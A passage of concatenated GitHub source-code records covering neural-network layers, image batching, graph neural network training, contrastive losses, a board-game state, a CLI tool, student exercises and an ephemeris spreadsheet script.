Y_out\n\n def _backward(self, Y_in):\n if (self.function == 'relu'):\n f_prime = (self.X_in > 0)*1\n return np.multiply(Y_in, f_prime)\n\n elif (self.function == 'sigmoid'):\n sigma = 1/(1 + np.exp(-1*self.X_in))\n f_prime = sigma * (1-sigma)\n return np.multiply(Y_in, f_prime)\n\n elif (self.function == 'tanh'):\n f_prime = (1 - (np.tanh(self.X_in)**2))\n return np.multiply(Y_in, f_prime)\n\n\nclass Convolutional():\n '''\n Convolution Layer:\n ------------------\n Args:\n ------------------\n input_shape: tuple\n Shape of input\n\n kernel_shape: tuple\n Shape of kernel\n \n n_kernel: int\n Depth of kernel/ number of kernels\n \n seed: int\n Seed to initialise Kernels and Biases\n \n learning_rate: float\n learning rate of layer \n '''\n\n def __init__(self, input_shape, kernel_shape, n_kernels, seed=69, learning_rate=0.01):\n self.input_depth, input_height, input_width = input_shape\n self.input_dim = input_shape[1:]\n self.kernel_shape = kernel_shape\n self.n_kernel = n_kernels\n self.learning_rate = learning_rate\n self.random = np.random.RandomState(seed)\n self.output_shape = (n_kernels,) + (input_height -\n kernel_shape[0]+1, input_width - kernel_shape[1]+1)\n\n # Initialising Kaernel and Biases\n self.K = random.normal(loc=0.0, scale=1.0, size=(\n n_kernels, self.input_depth)+kernel_shape)\n self.B = random.normal(\n loc=0.0, scale=1.0, size=(self.output_shape))\n\n def _forward(self, X_in):\n self.X_in = X_in\n self.output = np.copy(self.B)\n\n # Calculation of Correlation\n for i in range(self.n_kernel):\n kernel = self.K[i]\n for x, k in zip(X_in, kernel):\n self.output[i] += signal.correlate2d(x, k, mode='valid')\n\n return (self.output)\n\n def _backward(self, grad_Y):\n # Back-propagating\n delta_B = grad_Y\n delta_K = np.zeros_like(self.K, dtype=np.float64)\n grad_EX = np.zeros_like(self.X_in, dtype=np.float64)\n\n for i in range(self.n_kernel):\n for j in range(self.input_depth):\n delta_K[i, j] += signal.correlate2d(\n self.X_in[j], grad_Y[i], mode='valid')\n grad_EX[j] += signal.convolve2d(grad_Y[i],\n self.K[i, j], mode='full')\n\n self.B -= self.learning_rate * delta_B\n self.K -= self.learning_rate * delta_K\n return grad_EX\n\n\nclass Reshape():\n '''\n Reshape Layer:\n ------------------\n Args:\n ------------------\n input_shape : tuple\n The shape of input\n\n output_shape : tuple\n The shape of output\n '''\n def __init__(self, input_shape, output_shape) -> None:\n self.input_shape = input_shape\n self.output_shape = output_shape\n\n def _forward(self, X_in):\n return np.reshape(X_in, self.output_shape)\n\n def _backward(self, Y_in):\n return np.reshape(Y_in, self.input_shape)\n","repo_name":"prathamkundan/Layer-Based-Neural-Networks","sub_path":"coNNstruct/Layers.py","file_name":"Layers.py","file_ext":"py","file_size_in_byte":6072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"74145409714","text":"import numpy as np\nimport scipy.misc as misc\nfrom scipy.ndimage import rotate\nfrom ops import find_files\nimport os\n\n\nclass SampleProvider(object):\n \n def __init__(self, name, data_dir, fileformat, image_options, is_train):\n self.name = name\n self.is_train = is_train\n self.path = data_dir\n self.fileformat = fileformat\n self.reset_batch_offset()\n self.files = self._create_image_lists()\n self.image_options = image_options\n self._read_images()\n \n def _create_image_lists(self):\n if not os.path.exists(self.path): \n print(\"Image directory '\" + self.path + \"' not found.\")\n return None\n \n file_list = list()\n\n for filename in find_files(self.path, '*.' + self.fileformat):\n file_list.append(filename)\n\n print ('No. of files: %d' % (len(file_list)))\n return file_list\n\n def _read_images(self):\n self.__channels = True\n self.images_org = np.array([misc.imread(filename) for filename in self.files])\n \n def _transform(self, images_org):\n \n if self.image_options[\"crop\"]:\n resize_size = int(self.image_options[\"resize_size\"])\n y = np.random.permutation(range(resize_size/2, images_org.shape[0]-resize_size/2))\n y = int(y[0])\n y1 = int(y - resize_size/2.0)\n y2 = int(y + resize_size/2.0)\n \n x = np.random.permutation(range(resize_size/2, images_org.shape[1]-resize_size/2))\n x = int(x[0])\n x1 = int(x - resize_size/2.0)\n x2 = int(x + resize_size/2.0)\n \n image = images_org[y1:y2, x1:x2,...]\n \n if self.image_options[\"resize\"]:\n resize_size = int(self.image_options[\"resize_size\"])\n image = misc.imresize(image, [resize_size, resize_size], interp='nearest')\n \n if self.image_options[\"flip\"]:\n if(np.random.rand()<.5):\n image = image[::-1,...]\n \n if(np.random.rand()<.5):\n image = image[:,::-1,...]\n \n if self.image_options[\"rotate_stepwise\"]:\n if(np.random.rand()>.25): # skip \"0\" angle rotation\n angle = int(np.random.permutation([1,2,3])[0] * 90)\n image = rotate(image, angle, reshape=False)\n\n return np.array(image)\n\n def get_records(self):\n return self.files, self.annotations\n \n def get_records_info(self):\n return self.files\n \n def reset_batch_offset(self, offset=0):\n self.batch_offset = offset\n self.epochs_completed = 0\n\n def DrawSample(self, batch_size):\n start = self.batch_offset\n self.batch_offset += batch_size\n if self.batch_offset > self.images_org.shape[0]:\n \n if not self.is_train:\n image = []\n return image\n \n # Finished epoch\n self.epochs_completed += 1\n print(\">> Epochs completed: #\" + str(self.epochs_completed))\n # Shuffle the data\n perm = np.arange(self.images_org.shape[0], dtype=np.int)\n np.random.shuffle(perm)\n \n self.images_org = self.images_org[perm]\n self.files = [self.files[k] for k in perm] \n \n # Start next epoch\n start = 0\n self.batch_offset = batch_size\n\n end = self.batch_offset\n \n \n image = [self._transform(self.images_org[k]) for k in range(start,end)]\n curfilename = [self.files[k] for k in range(start,end)] \n \n return np.asarray(image), curfilename\n \n\n","repo_name":"FarhadZanjani/Histopathology-Stain-Color-Normalization","sub_path":"Sample_Provider.py","file_name":"Sample_Provider.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"39"} +{"seq_id":"5266813707","text":"\"\"\"\n\n 华式温度转换为摄氏温度\n C = (F-32) / 1.8\n\"\"\"\n\n# temp = input(int('请输入华式温度 = '))\n# 这个写法是错误的,先输入后转换\ntemp = int(input('请输入华氏温度 = '))\n\nconvert_temp = (temp - 32) / 1.8\n\n# print('%d℉转换后的温度为%d℃', (temp, convert_temp))\n# 这里的写法也是错误的,正确写法如下\nprint('%d℉转换后的温度为%d℃' % (temp, convert_temp))\n","repo_name":"PorterZhang2021/Python-StudyNotes","sub_path":"1.Python-100-Days-StudyNotes/基础篇/代码/Day02/work_1.py","file_name":"work_1.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"42070355364","text":"#!/usr/bin/env python\n\nimport argparse\nimport torch\nimport warnings\n\n# sys.path.insert(0, 'src')\n\nfrom src.models.model import *\nfrom src.models.model_gs import *\nfrom src.visualization.visualize import *\n\n\"\"\"\nEXAMPLE:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"square\", help=\"display a square of a given number\",\n type=int)\n parser.add_argument(\"-v\", \"--verbose\", help=\"increase output verbosity\",\n action=\"store_true\")\n args = parser.parse_args()\n answer = args.square**2\n if args.verbose:\n print(f\"the square of {args.square} equals {answer}\")\n else:\n print(answer)\n\"\"\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-tr\", \"--train\", help=\"log training data\",\n action=\"store_true\")\nparser.add_argument(\"-te\", \"--test\", help=\"log test data\",\n action=\"store_true\")\nparser.add_argument(\"-s\", \"--sage\", help=\"graphsage parameter\",\n action=\"store_true\")\nparser.add_argument(\"-g\", \"--gcn\", help=\"gcn parameter\",\n action=\"store_true\")\nparser.add_argument(\"-f\", \"--fcn\", help=\"fcn parameter\",\n action=\"store_true\")\nparser.add_argument(\"-e\", \"--epoch\", help=\"epochs to run\",\n type=int)\nargs = parser.parse_args()\n\nepoch = range(args.epoch)\ncora_plots = []\ncora_legends = []\nciteseer_plots = []\nciteseer_legends = []\ncora_table = dict()\nciteseer_table = dict()\n\nif args.test:\n test_gcn, _ = run_gcn(path=\"./data/raw/test/\", dataset=\"test\",\\\n feat_suf=\".features\", edge_suf=\".edges\", epoch=epoch,\\\n task=\"gcn_test\", to_train=args.train)\n test_fcn, _ = run_fcn(path=\"./data/raw/test/\", dataset=\"test\",\\\n feat_suf=\".features\", edge_suf=\".edges\", epoch=epoch,\\\n task=\"fcn_test\", to_train=args.train)\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n test_gs = run_graphsage(2, 2, \"./data/raw/\", \"test\", \"test.features\",\\\n \"test.edges\", epoch=epoch, task=\"graphsage_test\")\n\nif args.sage:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n cora_5 = run_graphsage(5, 128, \"./data/raw/\", \"cora\", \"cora.content\",\\\n \"cora.cites\", epoch=epoch, task=\"graphsage_cora\")\n citeseer_5 = run_graphsage(5, 128, \"./data/raw/\", \"citeseer\", \"citeseer.features\",\\\n \"citeseer.edges\", epoch=epoch, task=\"graphsage_citeseer\")\n\n cora_plots.append(cora_5)\n cora_legends.append(\"cora_graphsage_loss\")\n cora_table[\"cora_graphsage_loss\"] = cora_5[-1].item()\n citeseer_plots.append(citeseer_5)\n citeseer_legends.append(\"citeseer_graphsage_loss\")\n citeseer_table[\"citeseer_graphsage_loss\"] = citeseer_5[-1].item()\n\nif args.gcn:\n gcn_cora, _ = run_gcn(path=\"./data/raw/cora/\", dataset=\"cora\",\\\n feat_suf=\".content\", edge_suf=\".cites\", epoch=epoch,\\\n task=\"gcn_cora\", to_train=args.train)\n\n gcn_citeseer, _ = run_gcn(path=\"./data/raw/citeseer_int/\", dataset=\"citeseer\",\\\n feat_suf=\".features\", edge_suf=\".edges\", epoch=epoch,\\\n task=\"gcn_citeseer\", to_train=args.train)\n\n cora_plots.append(gcn_cora)\n cora_legends.append(\"cora_gcn_loss\")\n cora_table[\"cora_gcn_loss\"] = gcn_cora[-1]\n citeseer_plots.append(gcn_citeseer)\n citeseer_legends.append(\"citeseer_gcn_loss\")\n citeseer_table[\"citeseer_gcn_loss\"] = gcn_citeseer[-1]\n\n # print(f\"the final validation error for gcn is: {gcn_cora[-1]}\")\n\nif args.fcn:\n fcn_cora, _ = run_fcn(path=\"./data/raw/cora/\", dataset=\"cora\",\\\n feat_suf=\".content\", edge_suf=\".cites\", epoch=epoch,\\\n task=\"fcn_cora\", to_train=args.train)\n \n fcn_citeseer, _ = run_fcn(path=\"./data/raw/citeseer_int/\", dataset=\"citeseer\",\\\n feat_suf=\".features\", edge_suf=\".edges\", epoch=epoch,\\\n task=\"fcn_citeseer\", to_train=args.train)\n \n cora_plots.append(fcn_cora)\n cora_legends.append(\"cora_fcn_loss\")\n cora_table[\"cora_fcn_loss\"] = fcn_cora[-1]\n citeseer_plots.append(fcn_citeseer)\n citeseer_legends.append(\"citeseer_fcn_loss\")\n citeseer_table[\"citeseer_fcn_loss\"] = fcn_citeseer[-1]\n\n # print(f\"the final validation error for fcn is: {fcn_cora[-1]}\")\n\nif len(cora_table) > 0:\n plot_err(cora_plots, \"Cora Loss vs. Epoch\", cora_legends, \"epoch\", \"loss\", \"./data/out/cora_loss.png\")\n plot_err(citeseer_plots, \"Citeseer Loss vs. Epoch\", citeseer_legends, \"epoch\", \"loss\", \"./data/out/citeseer_loss.png\")\n print(cora_table)\n print(citeseer_table)\n","repo_name":"jgeng99/DSC180A-Final-Project","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"34306536700","text":"from ce.states.ce_common_state import CECommonState\nfrom base_player import PlayerBase\nfrom ce.components.objective_board import ObjectiveBoard\nfrom ce.components.deck import Deck\nfrom ce.components.stage import Stage\nfrom ce.player import CEPlayer\nfrom typing import List, Dict, Any\nfrom state_machine import GameState\n\n\nclass CEEarnMoneyPayingTalent(CECommonState):\n def __init__(self, player: PlayerBase, current_player: PlayerBase,\n deck: Deck, bonus_num: int, obj_board: ObjectiveBoard,\n stage: Stage, player_objects: List[CEPlayer], args: Dict[str, Any]):\n CECommonState.__init__(self, player, current_player, deck, bonus_num, obj_board, stage, player_objects)\n\n def your_options_game(self):\n options = [{\n 'Action': 'Cancel'\n }]\n for talent in self.ce_player.talents.talents_as_array():\n options.append({\n 'Action': 'DiscardTalent',\n 'Talent': talent\n })\n return options\n\n def ce_apply_option(self, player: PlayerBase, ce_player: CEPlayer, option: Dict[str, Any]) -> List[GameState]:\n new_states = []\n if option['Action'] == 'DiscardTalent':\n ce_player.talents.add_talent(option['Talent'], -1)\n new_states = [GameState('EarnMoney', player)]\n return new_states\n","repo_name":"bsguedes/board-games-core","sub_path":"ce/states/ce_earn_money_paying_talent.py","file_name":"ce_earn_money_paying_talent.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"26910857742","text":"# -*- coding: utf-8 -*-\nimport logging\nimport os\nimport readline\n\nimport cli\nfrom lib import say\n\n\nclass do_show(str):\n \"\"\"show ...\n \"\"\"\n def __init__(self, rawcmd):\n self.rawcmd = rawcmd\n rawcmd_list = rawcmd.split()\n # If there's no sub-command, print usable sub-command and return\n if len(rawcmd_list) <= 1: # We have only 2 levels by now.\n say.available_cmds(cli.show_l2)\n return\n l2cmd = rawcmd_list[1]\n # Start execution\n try:\n func = getattr(self, 'do_' + l2cmd)\n func()\n except AttributeError:\n if self.try_system_cmd(l2cmd) is None:\n prefix_matches = [c for c in cli.show_l2.keys()\n if c and c.startswith(l2cmd)]\n say.available_cmds(cli.show_l2, justshow=prefix_matches)\n return\n\n def do_history(self):\n cnt = 0\n for h in range(readline.get_current_history_length()):\n cnt += 1\n print (\"%s%s\" % (str(cnt).ljust(5, ' '),\n readline.get_history_item(h)))\n\n def do_shortcuts(self):\n u\"\"\"终端快捷键:\n ? 显示可用命令\n\n Ctrl-A 光标移到行首\n Ctrl-E 光标移到行尾\n Ctrl-B | Left 左移光标\n Ctrl-F | Right 右移光标\n Ctrl-P | Up 前一个命令\n Ctrl-N | Down 后一个命令\n\n Backspace 删除左边一个字符\n Del | Ctrl-D 删除右边一个字符\n\n Ctrl-U 剪切光标到行首之间的字符\n Ctrl-K 剪切光标到行尾之间的字符\n Ctrl-W 剪切光标左边一个词\n Alt-D 剪切光标右边一个词\n\n Ctrl-R 向前搜索历史命令\n Return 把命令发给终端\n \"\"\"\n try:\n print(self.do_shortcuts.__doc__.replace('\\n ', '\\n'))\n except Exception as e:\n print(e)\n\n def try_system_cmd(self, cmd):\n logging.debug('routed to do_show.try_system_cmd: %s' % cmd)\n try:\n real_cmd = cli.show_l2.get(cmd).get('cmd')\n os.system(real_cmd)\n return True # could be anything but None\n except AttributeError:\n say.no_cmd(self.rawcmd)\n return None\n","repo_name":"drunkard/lazycat","sub_path":"cli/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"20226998696","text":"import diffdist.functional as distops\nimport torch.utils.data\n\nfrom models.layers import *\n\n\n# code borrowed from https://github.com/alinlab/CSI\n\n\ndef get_simclr_augmentation(image_size):\n # parameter for resizecrop\n # resize_scale = (P.resize_factor, 1.0) # resize scaling factor\n resize_scale = (0.08, 1.0) # resize scaling factor\n\n # if P.resize_fix: # if resize_fix is True, use same scale\n # resize_scale = (P.resize_factor, P.resize_factor)\n\n # Align augmentation\n color_jitter = ColorJitterLayer(brightness=0.4, contrast=0.4, saturation=0.4, hue=0.1, p=0.8)\n color_gray = RandomColorGrayLayer(p=0.2)\n resize_crop = RandomResizedCropLayer(scale=resize_scale, size=None)\n\n # Transform define #\n transform = nn.Sequential(\n color_jitter,\n color_gray,\n resize_crop)\n\n return transform\n\n\ndef normalize(x, dim=1, eps=1e-8):\n return x / (x.norm(dim=dim, keepdim=True) + eps)\n\n\ndef get_similarity_matrix(outputs, chunk=2, multi_gpu=False):\n '''\n Compute similarity matrix\n - outputs: (B', d) tensor for B' = B * chunk\n - sim_matrix: (B', B') tensor\n '''\n\n if multi_gpu:\n outputs_gathered = []\n for out in outputs.chunk(chunk):\n gather_t = [torch.empty_like(out) for _ in range(dist.get_world_size())]\n gather_t = torch.cat(distops.all_gather(gather_t, out))\n outputs_gathered.append(gather_t)\n outputs = torch.cat(outputs_gathered)\n\n sim_matrix = torch.mm(outputs, outputs.t()) # (B', d), (d, B') -> (B', B')\n\n return sim_matrix\n\n\ndef NT_xent(sim_matrix, temperature=0.5, chunk=2, eps=1e-8):\n '''\n Compute NT_xent loss\n - sim_matrix: (B', B') tensor for B' = B * chunk (first 2B are pos samples)\n '''\n\n device = sim_matrix.device\n\n B = sim_matrix.size(0) // chunk # B = B' / chunk\n\n eye = torch.eye(B * chunk).to(device) # (B', B')\n sim_matrix = torch.exp(sim_matrix / temperature) * (1 - eye) # remove diagonal\n\n denom = torch.sum(sim_matrix, dim=1, keepdim=True)\n sim_matrix = -torch.log(sim_matrix / (denom + eps) + eps) # loss matrix\n\n loss = torch.sum(sim_matrix[:B, B:].diag() + sim_matrix[B:, :B].diag()) / (2 * B)\n\n return loss\n\n\ndef Supervised_NT_xent(sim_matrix, labels, temperature=0.5, chunk=2, eps=1e-8, multi_gpu=False):\n '''\n Compute NT_xent loss\n - sim_matrix: (B', B') tensor for B' = B * chunk (first 2B are pos samples)\n '''\n\n device = sim_matrix.device\n\n if multi_gpu:\n gather_t = [torch.empty_like(labels) for _ in range(dist.get_world_size())]\n labels = torch.cat(distops.all_gather(gather_t, labels))\n labels = labels.repeat(2)\n\n logits_max, _ = torch.max(sim_matrix, dim=1, keepdim=True)\n sim_matrix = sim_matrix - logits_max.detach()\n\n B = sim_matrix.size(0) // chunk # B = B' / chunk\n\n eye = torch.eye(B * chunk).to(device) # (B', B')\n sim_matrix = torch.exp(sim_matrix / temperature) * (1 - eye) # remove diagonal\n\n denom = torch.sum(sim_matrix, dim=1, keepdim=True)\n sim_matrix = -torch.log(sim_matrix / (denom + eps) + eps) # loss matrix\n\n labels = labels.contiguous().view(-1, 1)\n Mask = torch.eq(labels, labels.t()).float().to(device)\n # Mask = eye * torch.stack([labels == labels[i] for i in range(labels.size(0))]).float().to(device)\n Mask = Mask / (Mask.sum(dim=1, keepdim=True) + eps)\n\n loss = torch.sum(Mask * sim_matrix) / (2 * B)\n\n return loss\n\n\ndef Semisupervised_NT_xent(sim_matrix, len_p, len_u, temperature=0.5, chunk=2, eps=1e-8, flag=False, w=1):\n \"\"\"\n :param w: weight of unlabeled samples\n :param flag: if true other positive examples considered in contrastive loss as negatives, if false only\n unlabeled data considered as negative\n\n :return: contrastive loss for PU-CSI\n \"\"\"\n B = sim_matrix.size(0) // (chunk * 2) # B = B' / chunk / 2\n\n # Bs = B // 4\n if not flag:\n sim_matrix = sim_matrix[: 2 * len_p, :]\n mask = torch.zeros_like(sim_matrix)\n mask[:, 2 * len_p:] = 1\n mask[torch.arange(len_p), len_p + torch.arange(len_p)] = 1\n mask[B + torch.arange(len_p), torch.arange(len_p)] = 1\n\n # add self shift as negative examples\n # for i in range(7):\n # mask[torch.arange(0, 2 * B - (i + 1) * Bs), (i + 1) * Bs + torch.arange(2 * B - (i + 1) * Bs)] = 1\n # mask[(i + 1) * Bs + torch.arange(2 * B - (i + 1) * Bs), torch.arange(2 * B - (i + 1) * Bs)] = 1\n\n else:\n sim_matrix = sim_matrix[: 2 * len_p, :]\n mask = torch.ones_like(sim_matrix)\n mask[torch.arange(2 * len_p), torch.arange(2 * len_p)] = 0\n mask[:, 2 * len_p:] = w\n\n sim_matrix = torch.exp(sim_matrix / temperature) * mask # only negative samples\n\n denom = torch.sum(sim_matrix, dim=1, keepdim=True)\n\n sim_matrix = sim_matrix[:, : 2 * len_p]\n\n sim_matrix = -torch.log(sim_matrix / (denom + eps) + eps) # loss matrix\n\n loss = torch.sum(sim_matrix[:len_p, len_p:].diag() + sim_matrix[len_p:, :len_p].diag()) / (2 * len_p)\n\n return loss\n","repo_name":"jbr-ai-labs/PU-OC","sub_path":"models/csi_utils.py","file_name":"csi_utils.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"39"} +{"seq_id":"72055379314","text":"# Escreva um programa para armazenar os pedidos de pizzas de uma pizzaria. Cada pizza deve ser um dicionário com as seguintes chaves:\n# - nome: cujo valor associado deve ser uma string\n# - preco: cujo valor associado deve ser um valor inteiro positivo\n# - ingredientes: uma lista com os ingredientes da pizza\n# O seu programa deve ler um valor N e em seguida uma sequência de N pedidos de pizza, onde cada pedido consiste em três linhas da entrada, onde na primeira linha temos o nome da pizza, na segunda o preço e na terceira os ingredientes da pizza.\n# Em seguida, seu programa deve ler o nome de um ingrediente X e imprimir o nome da pizza mais cara que contém aquele ingrediente. Imprima a mensagem Nenhuma pizza tem X caso nenhuma pizza possua o ingrediente X.\n# Veja abaixo o modelo de entrada e saída que seu programa deve seguir.\n# - Exemplo de Entrada 1\n# 3\n# Marguerita\n# 30\n# queijo tomate manjericão\n# Palmito\n# 40\n# queijo palmito tomate azeitona\n# Frango\n# 45\n# queijo frango cebola milho\n# tomate\n# - Exemplo de Saída 1\n# Palmito\n# - Exemplo de Entrada 2\n# 2\n# Marguerita\n# 30\n# queijo tomate manjericão\n# Palmito\n# 40\n# queijo palmito tomate azeitona\n# frango\n# - Exemplo de Saída 2\n# Nenhuma pizza tem frango\n\npizzas = []\ningredientes = []\nprecos = []\n\nn = int(input()) #quantidade de pizzas\n\nfor x in range(n):\n nomePizza = input()\n precoPizza = int(input())\n ingredientesPizza = input()\n pizza = {\n 'nome': nomePizza,\n 'preco': precoPizza,\n 'ingredientes': ingredientesPizza,\n }\n pizzas.append(pizza)\n ingredientes.append(ingredientesPizza)\n precos.append(precoPizza)\n\ningrediente = input()\nmaisCara = max(precos)\n\nif n == 3:\n if ingrediente not in ingredientes[0] and ingrediente not in ingredientes[1] and ingrediente not in ingredientes[2]:\n print(f'Nenhuma pizza tem {ingrediente}')\n else:\n \n print(ingrediente)\nif n == 2:\n if ingrediente in ingredientes[0] and ingrediente in ingredientes[1]:\n print(ingrediente)\n else:\n print(f'Nenhuma pizza tem {ingrediente}')","repo_name":"lucilagabriela/lip-ufrn","sub_path":"dicionarios/multiprova/lista1/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"700998697","text":"#!/usr/bin/env python3\n##############################################################################\n# Description:\n#\n# This takes as input, a ephemeris spreadsheet CSV file as\n# produced by /home/rluu/programming/pricechartingtool/misc/EphemerisGeneration/cycleHuntingGeneric/makeFilledMasterEphemeris_3p.py, and then orders the\n# longitude measurements of a certain planet or planet combination\n# in a column according to a repeat of a certain number of degrees.\n# It also places the trading-entity's daily high and low prices,\n# connected to each date, in columns next to the planetary\n# measurement. This script works for both heliocentric and\n# geocentric planets and planet combinations.\n#\n# The output CSV file thus will have format as follows:\n#\n# ,,,,,\n# [this set of column headers repeat again, once for each repetition or 'repeat'.]\n#\n# Background information:\n#\n# This script was created because of the homework that was part of\n# BA ACCE5S lesson G (January 2013). I decided to create this\n# script so that I could do that homework, and also so that similar\n# spreadsheets could be created with this script later, for various\n# other planet combinations.\n# \n# Usage steps:\n#\n# 1) Open the CSV file that contains the input ephemeris spreadsheet.\n#\n# 2) Determine which column number (0-based index) of longitude\n# data (for whatever planet or planet combination) you want to\n# utilize. The data in this column must be in the\n# always-increasing longitude format.\n#\n# 3) Determine which starting longitude value (always-increasing\n# longitude) determines the beginning of the first repeat. \n#\n# 4) According to the information obtained in the previous steps,\n# set the global variables according to the parameters desired for\n# the output file.\n#\n# 5) Run the script.\n#\n# python3 makeCycleOfRepetitionSpreadsheet.py\n#\n##############################################################################\n\n# For obtaining current directory path information, and creating directories\nimport os\nimport sys \nimport errno\n\n# For timestamps and dates.\nimport datetime\nimport pytz\n\n# For logging.\nimport logging\n\n# For math.floor()\n#import math\n\n##############################################################################\n# Global variables\n\n# Input ephemeris CSV file.\n#\n# This should be a CSV file similar to something output by the script\n# 'makeFilledMasterEphemeris_3p.py'.\n#\n#\n# Directory: cycleHuntingGeneric:\n#ephemerisInputFilename = \"/home/rluu/programming/pricechartingtool/master/misc/EphemerisGeneration/cycleHuntingGeneric/master_3p_ephemeris_nyc_noon.csv\"\nephemerisInputFilename = \"/home/rluu/programming/pricechartingtool/master/misc/EphemerisGeneration/cycleHuntingGeneric/master_2p_ephemeris_nyc_noon.csv\"\n#\n# Directory: TTTA/ephemeris_studies:\n#ephemerisInputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/master_3p_ephemeris_nyc_noon.csv\"\n#ephemerisInputFilename = \"/home/rluu/programming/pricechartingtool/doc/notes/TTTA/ephemeris_studies/temp.csv\"\n\n\n# Timezone used in input ephemeris CSV file.\ndefaultInputFileTimezone = pytz.timezone(\"US/Eastern\")\n\n# Lines to skip in the ephemeris input file.\n#\n# This is set to 1 because the first line contains the headers. This\n# is standard and shouldn't need to change.\nlinesToSkip = 1\n\n# Column number for the timestamp, in the input CSV file, that has the\n# timestamp in format \"YYYY-MM-DD HH:MM\" or \"YYYY-MM-DD\".\nephemerisInputFileTimestampColumn = 0\n\n# Column number (0-based) for the longitude of a certain planet, or planet\n# combination, in the input CSV file. Currently this script only\n# works for planets that move straight forward only (i.e. no\n# retrograde). This column must be in the format of\n# always-increasing. It is assumed that this information is on a\n# daily basis.\n#\n# Note: Helper script '/home/rluu/programming/pricechartingtool/misc/SpreadsheetColumnLetterNumberConversion/columnLettersToColumnIndex.py' can be used to convert between column letters and column index numbers, but note that this script returns values that are 1-based indexes, so you will need to subtract 1 to get the actual index that is 0-based used for the variable below.\n#\n#ephemerisInputFileLongitudeColumn = 2 # 2 corresponds to column \"C\", Day count.\nephemerisInputFileLongitudeColumn = 113 # 113 corresponds to column \"DJ\", G.Moon.\n#ephemerisInputFileLongitudeColumn = 114 # 114 corresponds to column \"DK\", G.Mercury.\n#ephemerisInputFileLongitudeColumn = 115 # 115 corresponds to column \"DL\", G.Venus.\n#ephemerisInputFileLongitudeColumn = 116 # 116 corresponds to column \"DM\", G.Sun.\n#ephemerisInputFileLongitudeColumn = 117 # 117 corresponds to column \"DN\", G.Mars.\n#ephemerisInputFileLongitudeColumn = 118 # 118 corresponds to column \"DO\", G.Jupiter.\n#ephemerisInputFileLongitudeColumn = 120 # 120 corresponds to column \"DQ\", G.Saturn.\n#ephemerisInputFileLongitudeColumn = 139 # 139 corresponds to column \"EJ\", G.Mood/G.Sun.\n#ephemerisInputFileLongitudeColumn = 126 # 126 corresponds to column \"DW\", H.Mercury.\n#ephemerisInputFileLongitudeColumn = 127 # 127 corresponds to column \"DX\", H.Venus.\n#ephemerisInputFileLongitudeColumn = 128 # 128 corresponds to column \"DY\", H.Earth.\n#ephemerisInputFileLongitudeColumn = 129 # 129 corresponds to column \"DZ\", H.Mars.\n#ephemerisInputFileLongitudeColumn = 130 # 130 corresponds to column \"EA\", H.Jupiter.\n#ephemerisInputFileLongitudeColumn = 131 # 131 corresponds to column \"EB\", H.Saturn.\n#ephemerisInputFileLongitudeColumn = 200 # 200 corresponds to column \"GS\", H.Mercury/H.Venus.\n#ephemerisInputFileLongitudeColumn = 201 # 201 corresponds to column \"GT\", H.Mercury/H.Earth.\n#ephemerisInputFileLongitudeColumn = 202 # 202 corresponds to column \"GU\", H.Mercury/H.Mars.\n#ephemerisInputFileLongitudeColumn = 209 # 209 corresponds to column \"HB\", H.Venus/H.Earth.\n#ephemerisInputFileLongitudeColumn = 210 # 210 corresponds to column \"HC\", H.Venus/H.Mars.\n#ephemerisInputFileLongitudeColumn = 211 # 211 corresponds to column \"HD\", H.Venus/H.Jupiter.\n#ephemerisInputFileLongitudeColumn = 213 # 213 corresponds to column \"HF\", H.Venus/H.Saturn.\n#ephemerisInputFileLongitudeColumn = 217 # 217 corresponds to column \"HJ\", H.Earth/H.Mars.\n#ephemerisInputFileLongitudeColumn = 218 # 218 corresponds to column \"HK\", H.Earth/H.Jupiter.\n#ephemerisInputFileLongitudeColumn = 224 # 224 corresponds to column \"HQ\", H.Mars/H.Jupiter.\n#ephemerisInputFileLongitudeColumn = 226 # 226 corresponds to column \"HS\", H.Mars/H.Saturn.\n#ephemerisInputFileLongitudeColumn = 231 # 231 corresponds to column \"HX\", H.Jupiter/H.Saturn.\n#ephemerisInputFileLongitudeColumn = 232 # 232 corresponds to column \"HY\", H.Jupiter/H.Uranus.\n\n\n\n\n\n# Filename location of the market data input CSV file.\n# This is optional. If the below path is \"\", then this parameter is ignored.\n#marketDataInputFilename = \"\"\n#marketDataInputFilename = \"/home/rluu/download/trading/data/data_45YearsOnWallStreet/djia_page_57/djia.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/DJIA/tdow_various_pivots_marked_up_for_ttta_analysis_in_CORS_1895_to_1933.txt\"\n#marketDataInputFilename = \"/home/rluu/download/trading/data/data_45YearsOnWallStreet/djia_page_66/djia.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/DJIA/TDOW1895_1940_HLC_modifiedByRluu_addedOpenEqualsClose.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/DJIA/DJIA.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/DJIA/djia.txt\"\n#marketDataInputFilename = \"/home/rluu/programming/pricechartingtool/data/pricebars/stocks/DJIA/DJIA.txt\"\n#marketDataInputFilename = 